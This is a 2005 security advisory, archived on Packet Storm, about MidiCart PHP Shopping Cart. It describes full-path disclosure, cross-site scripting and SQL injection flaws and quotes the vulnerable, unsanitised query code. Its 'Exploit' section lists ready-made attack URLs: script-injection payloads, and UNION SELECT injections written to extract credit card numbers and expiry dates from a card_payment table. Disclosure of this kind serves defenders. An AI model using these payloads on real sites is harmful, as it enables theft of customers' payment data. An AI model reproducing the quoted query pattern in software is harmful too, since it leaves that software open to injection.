what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Hackgen Security Advisory 2005.4

Hackgen Security Advisory 2005.4
Posted Aug 6, 2005
Authored by Exoduks, Hackgen | Site hackgen.org

MidiCat PHP Shopping Cart suffers from multiple cross site scripting, SQL injection, and other security bugs.

tags | exploit, php, xss, sql injection
SHA-256 | cfcaf4f2b96fe2bd8e82fdc6f46ae6caa96a374e250b09add3e5cb9c59f6329a

Hackgen Security Advisory 2005.4

Change Mirror Download


http://www.hackgen.org/advisories/hackgen-2005-004.txt

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' [hackgen-2005-#004] '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Multiple bugs in MidiCart PHP Shopping Cart '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Software: MidiCart PHP Shopping Cart
Homepage: http://www.midicart.com/
Author: "Exoduks" - HackGen Team
Release Date: 5 May, 2005
Website: www.hackgen.org
Mail: exoduks [at] gmail . com



0x01 - Affected software description:
-------------------------------------
MidiCart is a Try-Before-You-Buy Shopping Cart Software, that provides all you need to
create, operate, and maintain a professional Internet shop. MidiCart ASP and PHP Shopping
Cart is extremely easy to use, flexible, powerful and affordable e-commerce solution for
your web site.



0x02 - Vulnerability Discription:
---------------------------------
There are several vulnarabilities in midicart. First there are some full-path disclosure
bugs because of some undefined variable and if php.ini is set to display_errors = on we
will see full path of the script. Second vulnerability is xss in item_list.php and
search_list.php file which doesn't have any checking of input string so it is possible to
inject some evil code and execute through the browser. Third bug is a sql injection also
in search_list.php, item_list.php and item_show.php file also because there isn't any
filtering and checking of input string which will be executed in mysql command so with
special crafted sql command we can get some sensitve information from database.



0x03 - Vulnerability Code:
--------------------------
Code vulnarable to sql injectio in search_list.php file
...
// database query to select the categories
$result = mysql_query("select * from products WHERE $chose LIKE '%$searchstring%' ORDER BY
'maingroup','secondgroup','code_no' LIMIT 0, 100 ") ;
...

Code vulnarable to sql injectio in item_show.php file
// query to get the products of type $category
$result = mysql_query("select * from products where(code_no = '$code_no') ORDER BY 'item'");


0x04 - How to fix this bug:
---------------------------
Vendor has beed contacted and he we probably publish new version of this shopping cart so go to
http://www.midicart.com/ and look for new version.


0x05 - Exploit:
----------------

Full-path disclosure !
-----------------------
http://site.com/shop/search_list.php
http://site.com/shop/item_list.php
http://site.com/shop/item_show.php

XSS !
------
http://site.com/shop/search_list.php?chose=item&searchstring=%3Cscri pt%3Ealert('Lamed%20!');%3C/script%3E
http://site.com/shop/item_list.php?secondgroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E
http://site.com/shop/item_list.php?maingroup=%3Cscript%3Ealert('Lamed%20!');%3C/script%3E

SQL injection !
----------------
http://site.com/shop/search_list.php?chose=item&searchstring=a%' UNION SELECT null, null, CreditCard,
ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null, null, null FROM card_payment /*

http://site.com/shop/item_list.php?maingroup=-99 'UNION SELECT null, null, CreditCard, ExpDate,null,
null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null FROM card_payment /*

http://site.com/shop/item_list.php?secondgroup=-99 'UNION SELECT null, null, CreditCard, ExpDate,null,
null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null FROM card_payment /*

http://site.com/shop/item_show.php?code_no=99 ') UNION SELECT null, null, CreditCard, ExpDate,null,
null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null FROM card_payment /*

* works with magic_quotes_gpc set to Off in php.ini file



0x006 - The End:
----------------
And we are at the end again. Grejtttzz to blackhat.headcoders.net

______________________________________
Written By Exoduks - www.hackgen.org

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close